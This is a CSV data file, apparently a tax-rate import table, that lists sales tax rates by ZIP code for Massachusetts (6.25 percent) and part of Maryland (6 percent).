US-MA-01731,US,MA,01731,6.25,,,, US-MA-01740,US,MA,01740,6.25,,,, US-MA-01741,US,MA,01741,6.25,,,, US-MA-01742,US,MA,01742,6.25,,,, US-MA-01745,US,MA,01745,6.25,,,, US-MA-01746,US,MA,01746,6.25,,,, US-MA-01747,US,MA,01747,6.25,,,, US-MA-01748,US,MA,01748,6.25,,,, US-MA-01749,US,MA,01749,6.25,,,, US-MA-01752,US,MA,01752,6.25,,,, US-MA-01754,US,MA,01754,6.25,,,, US-MA-01756,US,MA,01756,6.25,,,, US-MA-01757,US,MA,01757,6.25,,,, US-MA-01760,US,MA,01760,6.25,,,, US-MA-01770,US,MA,01770,6.25,,,, US-MA-01772,US,MA,01772,6.25,,,, US-MA-01773,US,MA,01773,6.25,,,, US-MA-01775,US,MA,01775,6.25,,,, US-MA-01776,US,MA,01776,6.25,,,, US-MA-01778,US,MA,01778,6.25,,,, US-MA-01784,US,MA,01784,6.25,,,, US-MA-01801,US,MA,01801,6.25,,,, US-MA-01803,US,MA,01803,6.25,,,, US-MA-01805,US,MA,01805,6.25,,,, US-MA-01810,US,MA,01810,6.25,,,, US-MA-01812,US,MA,01812,6.25,,,, US-MA-01813,US,MA,01813,6.25,,,, US-MA-01815,US,MA,01815,6.25,,,, US-MA-01821,US,MA,01821,6.25,,,, US-MA-01822,US,MA,01822,6.25,,,, US-MA-01824,US,MA,01824,6.25,,,, US-MA-01826,US,MA,01826,6.25,,,, US-MA-01827,US,MA,01827,6.25,,,, US-MA-01830,US,MA,01830,6.25,,,, US-MA-01831,US,MA,01831,6.25,,,, US-MA-01832,US,MA,01832,6.25,,,, US-MA-01833,US,MA,01833,6.25,,,, US-MA-01834,US,MA,01834,6.25,,,, US-MA-01835,US,MA,01835,6.25,,,, US-MA-01840,US,MA,01840,6.25,,,, US-MA-01841,US,MA,01841,6.25,,,, US-MA-01842,US,MA,01842,6.25,,,, US-MA-01843,US,MA,01843,6.25,,,, US-MA-01844,US,MA,01844,6.25,,,, US-MA-01845,US,MA,01845,6.25,,,, US-MA-01850,US,MA,01850,6.25,,,, US-MA-01851,US,MA,01851,6.25,,,, US-MA-01852,US,MA,01852,6.25,,,, US-MA-01853,US,MA,01853,6.25,,,, US-MA-01854,US,MA,01854,6.25,,,, US-MA-01860,US,MA,01860,6.25,,,, US-MA-01862,US,MA,01862,6.25,,,, US-MA-01863,US,MA,01863,6.25,,,, US-MA-01864,US,MA,01864,6.25,,,, US-MA-01865,US,MA,01865,6.25,,,, US-MA-01866,US,MA,01866,6.25,,,, US-MA-01867,US,MA,01867,6.25,,,, US-MA-01876,US,MA,01876,6.25,,,, US-MA-01879,US,MA,01879,6.25,,,, US-MA-01880,US,MA,01880,6.25,,,, US-MA-01885,US,MA,01885,6.25,,,, US-MA-01886,US,MA,01886,6.25,,,, US-MA-01887,US,MA,01887,6.25,,,, US-MA-01888,US,MA,01888,6.25,,,, US-MA-01889,US,MA,01889,6.25,,,, US-MA-01890,US,MA,01890,6.25,,,, US-MA-01899,US,MA,01899,6.25,,,, US-MA-01901,US,MA,01901,6.25,,,, US-MA-01902,US,MA,01902,6.25,,,, US-MA-01903,US,MA,01903,6.25,,,, US-MA-01904,US,MA,01904,6.25,,,, US-MA-01905,US,MA,01905,6.25,,,, US-MA-01906,US,MA,01906,6.25,,,, US-MA-01907,US,MA,01907,6.25,,,, US-MA-01908,US,MA,01908,6.25,,,, US-MA-01910,US,MA,01910,6.25,,,, US-MA-01913,US,MA,01913,6.25,,,, US-MA-01915,US,MA,01915,6.25,,,, US-MA-01921,US,MA,01921,6.25,,,, US-MA-01922,US,MA,01922,6.25,,,, US-MA-01923,US,MA,01923,6.25,,,, US-MA-01929,US,MA,01929,6.25,,,, US-MA-01930,US,MA,01930,6.25,,,, US-MA-01931,US,MA,01931,6.25,,,, US-MA-01936,US,MA,01936,6.25,,,, US-MA-01937,US,MA,01937,6.25,,,, US-MA-01938,US,MA,01938,6.25,,,, US-MA-01940,US,MA,01940,6.25,,,, US-MA-01944,US,MA,01944,6.25,,,, US-MA-01945,US,MA,01945,6.25,,,, US-MA-01949,US,MA,01949,6.25,,,, US-MA-01950,US,MA,01950,6.25,,,, US-MA-01951,US,MA,01951,6.25,,,, US-MA-01952,US,MA,01952,6.25,,,, US-MA-01960,US,MA,01960,6.25,,,, US-MA-01961,US,MA,01961,6.25,,,, US-MA-01965,US,MA,01965,6.25,,,, US-MA-01966,US,MA,01966,6.25,,,, US-MA-01969,US,MA,01969,6.25,,,, US-MA-01970,US,MA,01970,6.25,,,, US-MA-01971,US,MA,01971,6.25,,,, US-MA-01982,US,MA,01982,6.25,,,, US-MA-01983,US,MA,01983,6.25,,,, US-MA-01984,US,MA,01984,6.25,,,, US-MA-01985,US,MA,01985,6.25,,,, US-MA-02018,US,MA,02018,6.25,,,, US-MA-02019,US,MA,02019,6.25,,,, US-MA-02020,US,MA,02020,6.25,,,, US-MA-02021,US,MA,02021,6.25,,,, US-MA-02025,US,MA,02025,6.25,,,, US-MA-02026,US,MA,02026,6.25,,,, US-MA-02027,US,MA,02027,6.25,,,, US-MA-02030,US,MA,02030,6.25,,,, US-MA-02032,US,MA,02032,6.25,,,, US-MA-02035,US,MA,02035,6.25,,,, US-MA-02038,US,MA,02038,6.25,,,, US-MA-02040,US,MA,02040,6.25,,,, US-MA-02041,US,MA,02041,6.25,,,, US-MA-02043,US,MA,02043,6.25,,,, US-MA-02044,US,MA,02044,6.25,,,, US-MA-02045,US,MA,02045,6.25,,,, US-MA-02047,US,MA,02047,6.25,,,, US-MA-02048,US,MA,02048,6.25,,,, US-MA-02050,US,MA,02050,6.25,,,, US-MA-02051,US,MA,02051,6.25,,,, US-MA-02052,US,MA,02052,6.25,,,, US-MA-02053,US,MA,02053,6.25,,,, US-MA-02054,US,MA,02054,6.25,,,, US-MA-02055,US,MA,02055,6.25,,,, US-MA-02056,US,MA,02056,6.25,,,, US-MA-02059,US,MA,02059,6.25,,,, US-MA-02060,US,MA,02060,6.25,,,, US-MA-02061,US,MA,02061,6.25,,,, US-MA-02062,US,MA,02062,6.25,,,, US-MA-02065,US,MA,02065,6.25,,,, US-MA-02066,US,MA,02066,6.25,,,, US-MA-02067,US,MA,02067,6.25,,,, US-MA-02070,US,MA,02070,6.25,,,, US-MA-02071,US,MA,02071,6.25,,,, US-MA-02072,US,MA,02072,6.25,,,, US-MA-02081,US,MA,02081,6.25,,,, US-MA-02090,US,MA,02090,6.25,,,, US-MA-02093,US,MA,02093,6.25,,,, US-MA-02108,US,MA,02108,6.25,,,, US-MA-02109,US,MA,02109,6.25,,,, US-MA-02110,US,MA,02110,6.25,,,, US-MA-02111,US,MA,02111,6.25,,,, US-MA-02112,US,MA,02112,6.25,,,, US-MA-02113,US,MA,02113,6.25,,,, US-MA-02114,US,MA,02114,6.25,,,, US-MA-02115,US,MA,02115,6.25,,,, US-MA-02116,US,MA,02116,6.25,,,, US-MA-02117,US,MA,02117,6.25,,,, US-MA-02118,US,MA,02118,6.25,,,, US-MA-02119,US,MA,02119,6.25,,,, US-MA-02120,US,MA,02120,6.25,,,, US-MA-02121,US,MA,02121,6.25,,,, US-MA-02122,US,MA,02122,6.25,,,, US-MA-02123,US,MA,02123,6.25,,,, US-MA-02124,US,MA,02124,6.25,,,, US-MA-02125,US,MA,02125,6.25,,,, US-MA-02126,US,MA,02126,6.25,,,, US-MA-02127,US,MA,02127,6.25,,,, US-MA-02128,US,MA,02128,6.25,,,, US-MA-02129,US,MA,02129,6.25,,,, US-MA-02130,US,MA,02130,6.25,,,, US-MA-02131,US,MA,02131,6.25,,,, US-MA-02132,US,MA,02132,6.25,,,, US-MA-02133,US,MA,02133,6.25,,,, US-MA-02134,US,MA,02134,6.25,,,, US-MA-02135,US,MA,02135,6.25,,,, US-MA-02136,US,MA,02136,6.25,,,, US-MA-02137,US,MA,02137,6.25,,,, US-MA-02138,US,MA,02138,6.25,,,, US-MA-02139,US,MA,02139,6.25,,,, US-MA-02140,US,MA,02140,6.25,,,, US-MA-02141,US,MA,02141,6.25,,,, US-MA-02142,US,MA,02142,6.25,,,, US-MA-02143,US,MA,02143,6.25,,,, US-MA-02144,US,MA,02144,6.25,,,, US-MA-02145,US,MA,02145,6.25,,,, US-MA-02148,US,MA,02148,6.25,,,, US-MA-02149,US,MA,02149,6.25,,,, US-MA-02150,US,MA,02150,6.25,,,, US-MA-02151,US,MA,02151,6.25,,,, US-MA-02152,US,MA,02152,6.25,,,, US-MA-02153,US,MA,02153,6.25,,,, US-MA-02155,US,MA,02155,6.25,,,, US-MA-02156,US,MA,02156,6.25,,,, US-MA-02163,US,MA,02163,6.25,,,, US-MA-02169,US,MA,02169,6.25,,,, US-MA-02170,US,MA,02170,6.25,,,, US-MA-02171,US,MA,02171,6.25,,,, US-MA-02176,US,MA,02176,6.25,,,, US-MA-02180,US,MA,02180,6.25,,,, US-MA-02184,US,MA,02184,6.25,,,, US-MA-02185,US,MA,02185,6.25,,,, US-MA-02186,US,MA,02186,6.25,,,, US-MA-02187,US,MA,02187,6.25,,,, US-MA-02188,US,MA,02188,6.25,,,, US-MA-02189,US,MA,02189,6.25,,,, US-MA-02190,US,MA,02190,6.25,,,, US-MA-02191,US,MA,02191,6.25,,,, US-MA-02196,US,MA,02196,6.25,,,, US-MA-02199,US,MA,02199,6.25,,,, US-MA-02201,US,MA,02201,6.25,,,, US-MA-02203,US,MA,02203,6.25,,,, US-MA-02204,US,MA,02204,6.25,,,, US-MA-02205,US,MA,02205,6.25,,,, US-MA-02206,US,MA,02206,6.25,,,, US-MA-02210,US,MA,02210,6.25,,,, US-MA-02211,US,MA,02211,6.25,,,, US-MA-02212,US,MA,02212,6.25,,,, US-MA-02215,US,MA,02215,6.25,,,, US-MA-02217,US,MA,02217,6.25,,,, US-MA-02222,US,MA,02222,6.25,,,, US-MA-02228,US,MA,02228,6.25,,,, US-MA-02238,US,MA,02238,6.25,,,, US-MA-02241,US,MA,02241,6.25,,,, US-MA-02266,US,MA,02266,6.25,,,, US-MA-02269,US,MA,02269,6.25,,,, US-MA-02283,US,MA,02283,6.25,,,, US-MA-02284,US,MA,02284,6.25,,,, US-MA-02293,US,MA,02293,6.25,,,, US-MA-02297,US,MA,02297,6.25,,,, US-MA-02298,US,MA,02298,6.25,,,, US-MA-02301,US,MA,02301,6.25,,,, US-MA-02302,US,MA,02302,6.25,,,, US-MA-02303,US,MA,02303,6.25,,,, US-MA-02304,US,MA,02304,6.25,,,, US-MA-02305,US,MA,02305,6.25,,,, US-MA-02322,US,MA,02322,6.25,,,, US-MA-02324,US,MA,02324,6.25,,,, US-MA-02325,US,MA,02325,6.25,,,, US-MA-02327,US,MA,02327,6.25,,,, US-MA-02330,US,MA,02330,6.25,,,, US-MA-02331,US,MA,02331,6.25,,,, US-MA-02332,US,MA,02332,6.25,,,, US-MA-02333,US,MA,02333,6.25,,,, US-MA-02334,US,MA,02334,6.25,,,, US-MA-02337,US,MA,02337,6.25,,,, US-MA-02338,US,MA,02338,6.25,,,, US-MA-02339,US,MA,02339,6.25,,,, US-MA-02340,US,MA,02340,6.25,,,, US-MA-02341,US,MA,02341,6.25,,,, US-MA-02343,US,MA,02343,6.25,,,, US-MA-02344,US,MA,02344,6.25,,,, US-MA-02345,US,MA,02345,6.25,,,, US-MA-02346,US,MA,02346,6.25,,,, US-MA-02347,US,MA,02347,6.25,,,, US-MA-02348,US,MA,02348,6.25,,,, US-MA-02349,US,MA,02349,6.25,,,, US-MA-02350,US,MA,02350,6.25,,,, US-MA-02351,US,MA,02351,6.25,,,, US-MA-02355,US,MA,02355,6.25,,,, US-MA-02356,US,MA,02356,6.25,,,, US-MA-02357,US,MA,02357,6.25,,,, US-MA-02358,US,MA,02358,6.25,,,, US-MA-02359,US,MA,02359,6.25,,,, US-MA-02360,US,MA,02360,6.25,,,, US-MA-02361,US,MA,02361,6.25,,,, US-MA-02362,US,MA,02362,6.25,,,, US-MA-02364,US,MA,02364,6.25,,,, US-MA-02366,US,MA,02366,6.25,,,, US-MA-02367,US,MA,02367,6.25,,,, US-MA-02368,US,MA,02368,6.25,,,, US-MA-02370,US,MA,02370,6.25,,,, US-MA-02375,US,MA,02375,6.25,,,, US-MA-02379,US,MA,02379,6.25,,,, US-MA-02381,US,MA,02381,6.25,,,, US-MA-02382,US,MA,02382,6.25,,,, US-MA-02420,US,MA,02420,6.25,,,, US-MA-02421,US,MA,02421,6.25,,,, US-MA-02445,US,MA,02445,6.25,,,, US-MA-02446,US,MA,02446,6.25,,,, US-MA-02447,US,MA,02447,6.25,,,, US-MA-02451,US,MA,02451,6.25,,,, US-MA-02452,US,MA,02452,6.25,,,, US-MA-02453,US,MA,02453,6.25,,,, US-MA-02454,US,MA,02454,6.25,,,, US-MA-02455,US,MA,02455,6.25,,,, US-MA-02456,US,MA,02456,6.25,,,, US-MA-02457,US,MA,02457,6.25,,,, US-MA-02458,US,MA,02458,6.25,,,, US-MA-02459,US,MA,02459,6.25,,,, US-MA-02460,US,MA,02460,6.25,,,, US-MA-02461,US,MA,02461,6.25,,,, US-MA-02462,US,MA,02462,6.25,,,, US-MA-02464,US,MA,02464,6.25,,,, US-MA-02465,US,MA,02465,6.25,,,, US-MA-02466,US,MA,02466,6.25,,,, US-MA-02467,US,MA,02467,6.25,,,, US-MA-02468,US,MA,02468,6.25,,,, US-MA-02471,US,MA,02471,6.25,,,, US-MA-02472,US,MA,02472,6.25,,,, US-MA-02474,US,MA,02474,6.25,,,, US-MA-02475,US,MA,02475,6.25,,,, US-MA-02476,US,MA,02476,6.25,,,, US-MA-02477,US,MA,02477,6.25,,,, US-MA-02478,US,MA,02478,6.25,,,, US-MA-02479,US,MA,02479,6.25,,,, US-MA-02481,US,MA,02481,6.25,,,, US-MA-02482,US,MA,02482,6.25,,,, US-MA-02492,US,MA,02492,6.25,,,, US-MA-02493,US,MA,02493,6.25,,,, US-MA-02494,US,MA,02494,6.25,,,, US-MA-02495,US,MA,02495,6.25,,,, US-MA-02532,US,MA,02532,6.25,,,, US-MA-02534,US,MA,02534,6.25,,,, US-MA-02535,US,MA,02535,6.25,,,, US-MA-02536,US,MA,02536,6.25,,,, US-MA-02537,US,MA,02537,6.25,,,, US-MA-02538,US,MA,02538,6.25,,,, US-MA-02539,US,MA,02539,6.25,,,, US-MA-02540,US,MA,02540,6.25,,,, US-MA-02541,US,MA,02541,6.25,,,, US-MA-02542,US,MA,02542,6.25,,,, US-MA-02543,US,MA,02543,6.25,,,, US-MA-02552,US,MA,02552,6.25,,,, US-MA-02553,US,MA,02553,6.25,,,, US-MA-02554,US,MA,02554,6.25,,,, US-MA-02556,US,MA,02556,6.25,,,, US-MA-02557,US,MA,02557,6.25,,,, US-MA-02558,US,MA,02558,6.25,,,, US-MA-02559,US,MA,02559,6.25,,,, US-MA-02561,US,MA,02561,6.25,,,, US-MA-02562,US,MA,02562,6.25,,,, US-MA-02563,US,MA,02563,6.25,,,, US-MA-02564,US,MA,02564,6.25,,,, US-MA-02565,US,MA,02565,6.25,,,, US-MA-02568,US,MA,02568,6.25,,,, US-MA-02571,US,MA,02571,6.25,,,, US-MA-02573,US,MA,02573,6.25,,,, US-MA-02574,US,MA,02574,6.25,,,, US-MA-02575,US,MA,02575,6.25,,,, US-MA-02576,US,MA,02576,6.25,,,, US-MA-02584,US,MA,02584,6.25,,,, US-MA-02601,US,MA,02601,6.25,,,, US-MA-02630,US,MA,02630,6.25,,,, US-MA-02631,US,MA,02631,6.25,,,, US-MA-02632,US,MA,02632,6.25,,,, US-MA-02633,US,MA,02633,6.25,,,, US-MA-02634,US,MA,02634,6.25,,,, US-MA-02635,US,MA,02635,6.25,,,, US-MA-02637,US,MA,02637,6.25,,,, US-MA-02638,US,MA,02638,6.25,,,, US-MA-02639,US,MA,02639,6.25,,,, US-MA-02641,US,MA,02641,6.25,,,, US-MA-02642,US,MA,02642,6.25,,,, US-MA-02643,US,MA,02643,6.25,,,, US-MA-02644,US,MA,02644,6.25,,,, US-MA-02645,US,MA,02645,6.25,,,, US-MA-02646,US,MA,02646,6.25,,,, US-MA-02647,US,MA,02647,6.25,,,, US-MA-02648,US,MA,02648,6.25,,,, US-MA-02649,US,MA,02649,6.25,,,, US-MA-02650,US,MA,02650,6.25,,,, US-MA-02651,US,MA,02651,6.25,,,, US-MA-02652,US,MA,02652,6.25,,,, US-MA-02653,US,MA,02653,6.25,,,, US-MA-02655,US,MA,02655,6.25,,,, US-MA-02657,US,MA,02657,6.25,,,, US-MA-02659,US,MA,02659,6.25,,,, US-MA-02660,US,MA,02660,6.25,,,, US-MA-02661,US,MA,02661,6.25,,,, US-MA-02662,US,MA,02662,6.25,,,, US-MA-02663,US,MA,02663,6.25,,,, US-MA-02664,US,MA,02664,6.25,,,, US-MA-02666,US,MA,02666,6.25,,,, US-MA-02667,US,MA,02667,6.25,,,, US-MA-02668,US,MA,02668,6.25,,,, US-MA-02669,US,MA,02669,6.25,,,, US-MA-02670,US,MA,02670,6.25,,,, US-MA-02671,US,MA,02671,6.25,,,, US-MA-02672,US,MA,02672,6.25,,,, US-MA-02673,US,MA,02673,6.25,,,, US-MA-02675,US,MA,02675,6.25,,,, US-MA-02702,US,MA,02702,6.25,,,, US-MA-02703,US,MA,02703,6.25,,,, US-MA-02712,US,MA,02712,6.25,,,, US-MA-02713,US,MA,02713,6.25,,,, US-MA-02714,US,MA,02714,6.25,,,, US-MA-02715,US,MA,02715,6.25,,,, US-MA-02717,US,MA,02717,6.25,,,, US-MA-02718,US,MA,02718,6.25,,,, US-MA-02719,US,MA,02719,6.25,,,, US-MA-02720,US,MA,02720,6.25,,,, US-MA-02721,US,MA,02721,6.25,,,, US-MA-02722,US,MA,02722,6.25,,,, US-MA-02723,US,MA,02723,6.25,,,, US-MA-02724,US,MA,02724,6.25,,,, US-MA-02725,US,MA,02725,6.25,,,, US-MA-02726,US,MA,02726,6.25,,,, US-MA-02738,US,MA,02738,6.25,,,, US-MA-02739,US,MA,02739,6.25,,,, US-MA-02740,US,MA,02740,6.25,,,, US-MA-02741,US,MA,02741,6.25,,,, US-MA-02742,US,MA,02742,6.25,,,, US-MA-02743,US,MA,02743,6.25,,,, US-MA-02744,US,MA,02744,6.25,,,, US-MA-02745,US,MA,02745,6.25,,,, US-MA-02746,US,MA,02746,6.25,,,, US-MA-02747,US,MA,02747,6.25,,,, US-MA-02748,US,MA,02748,6.25,,,, US-MA-02760,US,MA,02760,6.25,,,, US-MA-02761,US,MA,02761,6.25,,,, US-MA-02762,US,MA,02762,6.25,,,, US-MA-02763,US,MA,02763,6.25,,,, US-MA-02764,US,MA,02764,6.25,,,, US-MA-02766,US,MA,02766,6.25,,,, US-MA-02767,US,MA,02767,6.25,,,, US-MA-02768,US,MA,02768,6.25,,,, US-MA-02769,US,MA,02769,6.25,,,, US-MA-02770,US,MA,02770,6.25,,,, US-MA-02771,US,MA,02771,6.25,,,, US-MA-02777,US,MA,02777,6.25,,,, US-MA-02779,US,MA,02779,6.25,,,, US-MA-02780,US,MA,02780,6.25,,,, US-MA-02783,US,MA,02783,6.25,,,, US-MA-02790,US,MA,02790,6.25,,,, US-MA-02791,US,MA,02791,6.25,,,, US-MA-05501,US,MA,05501,6.25,,,, US-MA-05544,US,MA,05544,6.25,,,, US-MD-20601,US,MD,20601,6,,,, US-MD-20602,US,MD,20602,6,,,, US-MD-20603,US,MD,20603,6,,,, US-MD-20604,US,MD,20604,6,,,, US-MD-20606,US,MD,20606,6,,,, US-MD-20607,US,MD,20607,6,,,, US-MD-20608,US,MD,20608,6,,,, US-MD-20609,US,MD,20609,6,,,, US-MD-20610,US,MD,20610,6,,,, US-MD-20611,US,MD,20611,6,,,, US-MD-20612,US,MD,20612,6,,,, US-MD-20613,US,MD,20613,6,,,, US-MD-20615,US,MD,20615,6,,,, US-MD-20616,US,MD,20616,6,,,, US-MD-20617,US,MD,20617,6,,,, US-MD-20618,US,MD,20618,6,,,, US-MD-20619,US,MD,20619,6,,,, US-MD-20620,US,MD,20620,6,,,, US-MD-20621,US,MD,20621,6,,,, US-MD-20622,US,MD,20622,6,,,, US-MD-20623,US,MD,20623,6,,,, US-MD-20624,US,MD,20624,6,,,, US-MD-20625,US,MD,20625,6,,,, US-MD-20626,US,MD,20626,6,,,, US-MD-20627,US,MD,20627,6,,,, US-MD-20628,US,MD,20628,6,,,, US-MD-20629,US,MD,20629,6,,,, US-MD-20630,US,MD,20630,6,,,, US-MD-20632,US,MD,20632,6,,,, US-MD-20634,US,MD,20634,6,,,, US-MD-20635,US,MD,20635,6,,,, US-MD-20636,US,MD,20636,6,,,, US-MD-20637,US,MD,20637,6,,,, US-MD-20639,US,MD,20639,6,,,, US-MD-20640,US,MD,20640,6,,,, US-MD-20643,US,MD,20643,6,,,, US-MD-20645,US,MD,20645,6,,,, US-MD-20646,US,MD,20646,6,,,, US-MD-20650,US,MD,20650,6,,,, US-MD-20653,US,MD,20653,6,,,, US-MD-20656,US,MD,20656,6,,,, US-MD-20657,US,MD,20657,6,,,, US-MD-20658,US,MD,20658,6,,,, US-MD-20659,US,MD,20659,6,,,, US-MD-20660,US,MD,20660,6,,,, US-MD-20661,US,MD,20661,6,,,, US-MD-20662,US,MD,20662,6,,,, US-MD-20664,US,MD,20664,6,,,, US-MD-20667,US,MD,20667,6,,,, US-MD-20670,US,MD,20670,6,,,, US-MD-20674,US,MD,20674,6,,,, US-MD-20675,US,MD,20675,6,,,, US-MD-20676,US,MD,20676,6,,,, US-MD-20677,US,MD,20677,6,,,, US-MD-20678,US,MD,20678,6,,,, US-MD-20680,US,MD,20680,6,,,, US-MD-20682,US,MD,20682,6,,,, US-MD-20684,US,MD,20684,6,,,, US-MD-20685,US,MD,20685,6,,,, US-MD-20686,US,MD,20686,6,,,, US-MD-20687,US,MD,20687,6,,,, US-MD-20688,US,MD,20688,6,,,, US-MD-20689,US,MD,20689,6,,,, US-MD-20690,US,MD,20690,6,,,, US-MD-20692,US,MD,20692,6,,,, US-MD-20693,US,MD,20693,6,,,, US-MD-20695,US,MD,20695,6,,,, US-MD-20697,US,MD,20697,6,,,, US-MD-20701,US,MD,20701,6,,,, US-MD-20703,US,MD,20703,6,,,, US-MD-20704,US,MD,20704,6,,,, US-MD-20705,US,MD,20705,6,,,, US-MD-20706,US,MD,20706,6,,,, US-MD-20707,US,MD,20707,6,,,, US-MD-20708,US,MD,20708,6,,,, US-MD-20709,US,MD,20709,6,,,, US-MD-20710,US,MD,20710,6,,,, US-MD-20711,US,MD,20711,6,,,, US-MD-20712,US,MD,20712,6,,,, US-MD-20714,US,MD,20714,6,,,, US-MD-20715,US,MD,20715,6,,,, US-MD-20716,US,MD,20716,6,,,, US-MD-20717,US,MD,20717,6,,,, US-MD-20718,US,MD,20718,6,,,, US-MD-20719,US,MD,20719,6,,,, US-MD-20720,US,MD,20720,6,,,, US-MD-20721,US,MD,20721,6,,,, US-MD-20722,US,MD,20722,6,,,, US-MD-20723,US,MD,20723,6,,,, US-MD-20724,US,MD,20724,6,,,, US-MD-20725,US,MD,20725,6,,,, US-MD-20726,US,MD,20726,6,,,, US-MD-20731,US,MD,20731,6,,,, US-MD-20732,US,MD,20732,6,,,, US-MD-20733,US,MD,20733,6,,,, US-MD-20735,US,MD,20735,6,,,, US-MD-20736,US,MD,20736,6,,,, US-MD-20737,US,MD,20737,6,,,, US-MD-20738,US,MD,20738,6,,,, US-MD-20740,US,MD,20740,6,,,, US-MD-20741,US,MD,20741,6,,,, US-MD-20742,US,MD,20742,6,,,, US-MD-20743,US,MD,20743,6,,,, US-MD-20744,US,MD,20744,6,,,, US-MD-20745,US,MD,20745,6,,,, US-MD-20746,US,MD,20746,6,,,, US-MD-20747,US,MD,20747,6,,,, US-MD-20748,US,MD,20748,6,,,, US-MD-20749,US,MD,20749,6,,,, US-MD-20750,US,MD,20750,6,,,, US-MD-20751,US,MD,20751,6,,,, US-MD-20752,US,MD,20752,6,,,, US-MD-20753,US,MD,20753,6,,,, US-MD-20754,US,MD,20754,6,,,, US-MD-20755,US,MD,20755,6,,,, US-MD-20757,US,MD,20757,6,,,, US-MD-20758,US,MD,20758,6,,,, US-MD-20759,US,MD,20759,6,,,, US-MD-20762,US,MD,20762,6,,,, US-MD-20763,US,MD,20763,6,,,, US-MD-20764,US,MD,20764,6,,,, US-MD-20765,US,MD,20765,6,,,, US-MD-20768,US,MD,20768,6,,,, US-MD-20769,US,MD,20769,6,,,, US-MD-20770,US,MD,20770,6,,,, US-MD-20771,US,MD,20771,6,,,, US-MD-20772,US,MD,20772,6,,,, US-MD-20773,US,MD,20773,6,,,, US-MD-20774,US,MD,20774,6,,,, US-MD-20775,US,MD,20775,6,,,, US-MD-20776,US,MD,20776,6,,,, US-MD-20777,US,MD,20777,6,,,, US-MD-20778,US,MD,20778,6,,,, US-MD-20779,US,MD,20779,6,,,, US-MD-20781,US,MD,20781,6,,,, US-MD-20782,US,MD,20782,6,,,, US-MD-20783,US,MD,20783,6,,,, US-MD-20784,US,MD,20784,6,,,, US-MD-20785,US,MD,20785,6,,,, US-MD-20787,US,MD,20787,6,,,, US-MD-20788,US,MD,20788,6,,,, US-MD-20790,US,MD,20790,6,,,, US-MD-20791,US,MD,20791,6,,,, US-MD-20792,US,MD,20792,6,,,, US-MD-20794,US,MD,20794,6,,,, US-MD-20797,US,MD,20797,6,,,, US-MD-20799,US,MD,20799,6,,,, US-MD-20810,US,MD,20810,6,,,, US-MD-20811,US,MD,20811,6,,,, US-MD-20812,US,MD,20812,6,,,, US-MD-20813,US,MD,20813,6,,,, US-MD-20814,US,MD,20814,6,,,, US-MD-20815,US,MD,20815,6,,,, US-MD-20816,US,MD,20816,6,,,, US-MD-20817,US,MD,20817,6,,,, US-MD-20818,US,MD,20818,6,,,, US-MD-20824,US,MD,20824,6,,,, US-MD-20825,US,MD,20825,6,,,, US-MD-20827,US,MD,20827,6,,,, US-MD-20830,US,MD,20830,6,,,, US-MD-20832,US,MD,20832,6,,,, US-MD-20833,US,MD,20833,6,,,, US-MD-20837,US,MD,20837,6,,,, US-MD-20838,US,MD,20838,6,,,, US-MD-20839,US,MD,20839,6,,,, US-MD-20841,US,MD,20841,6,,,, US-MD-20842,US,MD,20842,6,,,, US-MD-20847,US,MD,20847,6,,,, US-MD-20848,US,MD,20848,6,,,, US-MD-20849,US,MD,20849,6,,,, US-MD-20850,US,MD,20850,6,,,, US-MD-20851,US,MD,20851,6,,,, US-MD-20852,US,MD,20852,6,,,, US-MD-20853,US,MD,20853,6,,,, US-MD-20854,US,MD,20854,6,,,, US-MD-20855,US,MD,20855,6,,,, US-MD-20857,US,MD,20857,6,,,, US-MD-20859,US,MD,20859,6,,,, US-MD-20860,US,MD,20860,6,,,, US-MD-20861,US,MD,20861,6,,,, US-MD-20862,US,MD,20862,6,,,, US-MD-20866,US,MD,20866,6,,,, US-MD-20868,US,MD,20868,6,,,, US-MD-20871,US,MD,20871,6,,,, US-MD-20872,US,MD,20872,6,,,, US-MD-20874,US,MD,20874,6,,,, US-MD-20875,US,MD,20875,6,,,, US-MD-20876,US,MD,20876,6,,,, US-MD-20877,US,MD,20877,6,,,, US-MD-20878,US,MD,20878,6,,,, US-MD-20879,US,MD,20879,6,,,, US-MD-20880,US,MD,20880,6,,,, US-MD-20882,US,MD,20882,6,,,, US-MD-20883,US,MD,20883,6,,,, US-MD-20884,US,MD,20884,6,,,, US-MD-20885,US,MD,20885,6,,,, US-MD-20886,US,MD,20886,6,,,, US-MD-20889,US,MD,20889,6,,,, US-MD-20891,US,MD,20891,6,,,, US-MD-20892,US,MD,20892,6,,,, US-MD-20894,US,MD,20894,6,,,, US-MD-20895,US,MD,20895,6,,,, US-MD-20896,US,MD,20896,6,,,, US-MD-20897,US,MD,20897,6,,,, US-MD-20898,US,MD,20898,6,,,, US-MD-20899,US,MD,20899,6,,,, US-MD-20901,US,MD,20901,6,,,, US-MD-20902,US,MD,20902,6,,,, US-MD-20903,US,MD,20903,6,,,, US-MD-20904,US,MD,20904,6,,,, US-MD-20905,US,MD,20905,6,,,, US-MD-20906,US,MD,20906,6,,,, US-MD-20907,US,MD,20907,6,,,, US-MD-20908,US,MD,20908,6,,,, US-MD-20910,US,MD,20910,6,,,, US-MD-20911,US,MD,20911,6,,,, US-MD-20912,US,MD,20912,6,,,, US-MD-20913,US,MD,20913,6,,,, US-MD-20914,US,MD,20914,6,,,, US-MD-20915,US,MD,20915,6,,,, US-MD-20916,US,MD,20916,6,,,, US-MD-20918,US,MD,20918,6,,,, US-MD-20993,US,MD,20993,6,,,, US-MD-20997,US,MD,20997,6,,,, US-MD-21001,US,MD,21001,6,,,, US-MD-21005,US,MD,21005,6,,,, US-MD-21009,US,MD,21009,6,,,, US-MD-21010,US,MD,21010,6,,,, US-MD-21012,US,MD,21012,6,,,, US-MD-21013,US,MD,21013,6,,,, US-MD-21014,US,MD,21014,6,,,, US-MD-21015,US,MD,21015,6,,,, US-MD-21017,US,MD,21017,6,,,, US-MD-21018,US,MD,21018,6,,,, US-MD-21020,US,MD,21020,6,,,, US-MD-21022,US,MD,21022,6,,,, US-MD-21023,US,MD,21023,6,,,, US-MD-21027,US,MD,21027,6,,,, US-MD-21028,US,MD,21028,6,,,, US-MD-21029,US,MD,21029,6,,,, US-MD-21030,US,MD,21030,6,,,, US-MD-21031,US,MD,21031,6,,,, US-MD-21032,US,MD,21032,6,,,, US-MD-21034,US,MD,21034,6,,,, US-MD-21035,US,MD,21035,6,,,, US-MD-21036,US,MD,21036,6,,,, US-MD-21037,US,MD,21037,6,,,, US-MD-21040,US,MD,21040,6,,,, US-MD-21041,US,MD,21041,6,,,, US-MD-21042,US,MD,21042,6,,,, 